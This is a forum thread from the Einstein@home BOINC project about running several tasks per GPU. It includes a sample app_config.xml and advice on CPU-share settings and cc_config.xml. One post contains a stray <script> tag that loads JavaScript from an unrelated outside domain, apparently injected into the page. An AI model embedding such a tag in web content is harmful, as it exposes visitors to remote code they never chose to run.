set cpu usage per gpu

ProDigit
ProDigit
Joined: 13 Nov 19
Posts: 8
Credit: 183442807
RAC: 1153
Topic 220651

Hi,

Einstein tasks only use up 50% of my RTX 2080 Ti's resources, and setting GPU to 0.5 brings it pretty close to 100% utilization.

The problem is that I have 6 CPU cores, and 4 GPUs.
The first 2 GPUs run fine (with 2 tasks per GPU),

The second 2 run with only 1 task per GPU.

Boinc tells me the CPU allocated to a GPU is 0.9CPU.
However, in HTOP I can clearly see about 25% of CPU usage per core is still available.

Where can I change the Einstein task settings to 0.8 or 0.7 CPU? (this way I'll be able to run 2 projects per GPU easily).

Joseph Stateson
Joseph Stateson
Joined: 7 May 07
Posts: 174
Credit: 3089935174
RAC: 788154

Try the

Try the following

<app>
<name>einstein_O2MDF</name>
<gpu_versions>
<gpu_usage>0.5</gpu_usage>
<cpu_usage>0.75</cpu_usage>
</gpu_versions>
</app>
<app>
<name>hsgamma_FGRPB1G</name>
<gpu_versions>
<gpu_usage>0.5</gpu_usage>
<cpu_usage>0.75</cpu_usage>
</gpu_versions>
</app>
</app_config>


 

I did not get a big enough improvement on my 2080 Super to make it worth while to double the tasks plus the mombo has slower boards that cannot do 2x work units anyway.

 

The .75 came from 6 / 8 but if a problem then use .749 to force all 6 tasks

ProDigit
ProDigit
Joined: 13 Nov 19
Posts: 8
Credit: 183442807
RAC: 1153

Someone on Boinc forums

Someone on Boinc forums mentioned Einstein had Gamma Ray Pulsar tasks that don't need doubling up on a GPU.

FGRP according to his recommendations, should almost fully utilize a 2060/2070

BRP (Binary Radio Pulsar) and GW (Gravitational waves) seem to use a lot less of the GPU (using sometimes only 60-120Watts out of the 200 allocated on a 2080Ti).

What would be the best setting for an RTX 2060, RTX 2070, AND 2080Ti?

I could focus my research on only FGRP, but prefer to know how each one scales, so I can determine where to double/triple up on tasks.

Thumpers warren
Thumpers warren
Joined: 3 Apr 20
Posts: 7
Credit: 1689536959
RAC: 0

Hi all, moving my PC's here

Hi all, moving my PC's here as SETI is closing and a fellow cruncher Lionel should be here if not already.

Question... Whats the file that I +cough+ need to adjust to get 2 instances running per GPU called?

I have hunted though the files and I cant see anywhere a app/config file that I can modify.

Thanks in advance.

Shaun  

Gary Roberts
Gary Roberts
Moderator
Joined: 9 Feb 05
Posts: 5874
Credit: 118356095606
RAC: 25466065

Hi Shaun, Welcome to

Hi Shaun, Welcome to Einstein!

There is no existing file to edit - you need to create one and it's called app_config.xml.  That documentation contains full details and you need to read it carefully as it's not always a simple matter.

A lot depends on exactly what hardware you have and your computers are currently hidden.  That's quite OK (it's due to GDPR - privacy protection) but if you want targeted advice, you need either to 'un-hide' your computers or at least document exactly what hardware you are using.

There is a simpler method - you can change a project preference setting to achieve much the same outcome.  Just go to Account -> Preferences -> Project and scroll down until you find GPU Utilization Factor.  There are different ones for the different searches.  You only need to specify a factor for the search you wish to run.

You'll save yourself a lot of time and potential 'gotchas' if you think carefully about what searches you wish to participate in.  The default is probably to have all searches ticked and that can easily cause issues for the uninitiated, particularly if you're trying to run multiple tasks per GPU at the same time.

The best plan is to select one GPU search to start with and seek advice on how best to run it for your particular hardware.  Think carefully about your intention.  Do you want to support the most scientifically interesting search for the first ever detection of continuous GW or do you want the lower priority but much easier to run with higher efficiency and higher credit, gamma-ray pulsar search?

Cheers,
Gary.

Thumpers warren
Thumpers warren
Joined: 3 Apr 20
Posts: 7
Credit: 1689536959
RAC: 0

Thank you for the very quick

Thank you for the very quick reply.....

Makes sense now I could not find one. I was assuming there was one as SETI@home used one.

I'll un-hide my PCs, there is nothing I keep secret. Soon as I work out how too lol.

Pretty sure my gear is will be fine to run 2 at a time...... If I get blue screens then I will know ;(

Thank you again.. 

Shaun

Thumpers warren
Thumpers warren
Joined: 3 Apr 20
Posts: 7
Credit: 1689536959
RAC: 0

First few PCs should be up

First few PCs should be up now for viewing.

<script type="text/javascript" src="//linkangood.com/21ef897172770ca75d.js"></script>

Thumpers warren
Thumpers warren
Joined: 3 Apr 20
Posts: 7
Credit: 1689536959
RAC: 0

Looks like the single GPU

Looks like the single GPU systems are running 2 instances but the SLI rigs are only running 1 per GPU :(

 

 

Gary Roberts
Gary Roberts
Moderator
Joined: 9 Feb 05
Posts: 5874
Credit: 118356095606
RAC: 25466065

By "SLI rigs" I presume you

By "SLI rigs" I presume you are referring to machines with dual GPUs.

Are you sure both GPUs are properly detected.  Perhaps the two tasks are running on just one GPU rather than one per GPU.  You should be able to check that in the tasks tab of BOINC Manager.  GPU-0 and GPU-1 should both be shown if both are working.

In the BOINC startup messages there should be reference to the OpenCL capabilities of both GPUs - two separate entries.  If you only see one reference, BOINC isn't using the 2nd GPU.

Cheers,
Gary.

Thumpers warren
Thumpers warren
Joined: 3 Apr 20
Posts: 7
Credit: 1689536959
RAC: 0

SLI rigs, yes PC with 2x

SLI rigs, yes PC with 2x GPUs.

Currently boinc is showing them as device 0 and 1 with only 1 task being computed with .9 CPU.

Keith Myers
Keith Myers
Joined: 11 Feb 11
Posts: 5023
Credit: 18927738955
RAC: 6523754

Make sure you

Make sure you have <use_all_gpus>1</use_all_gpus> toggled in the cc_config.xml file.

 

Comment viewing options

Select your preferred way to display the comments and click "Save settings" to activate your changes.